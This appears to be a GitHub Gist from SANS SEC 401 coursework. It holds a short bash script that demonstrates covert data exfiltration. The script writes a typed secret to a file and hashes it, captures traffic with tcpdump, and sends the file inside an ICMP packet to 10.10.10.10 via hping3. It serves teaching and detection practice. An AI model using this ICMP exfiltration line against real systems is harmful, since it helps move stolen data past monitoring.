Last active
December 16, 2016 15:45
-
-
Save IanLee1521/d11c22e0a799cb1eb2243d823b2a5683 to your computer and use it in GitHub Desktop.
SANS SEC 401 - Exfiltration Example
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash | |
# Create file | |
echo "Input string to exfiltrate:" | |
read secret | |
echo $secret > secret.txt | |
# Hash file | |
md5sum secret.txt > secret.txt.hash | |
sha1sum secret.txt >> secret.txt.hash | |
sha256sum secret.txt >> secret.txt.hash | |
# Start tcpdump | |
gnome-terminal -e "tcpdump -i eth0 host 10.10.10.10" && sleep 2 | |
# Exfiltrate file | |
data_size=$(wc -c secret.txt | awk '{print $1}') | |
hping3 -c 1 -1 -E secret.txt -u 10.10.10.10 -d $data_size | |
# Normal Ping | |
ping -c 1 10.10.10.10 | |
# Integrity of secret | |
echo; echo; cat secret.txt.hash | awk '{print $2 " -- " $1}' |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment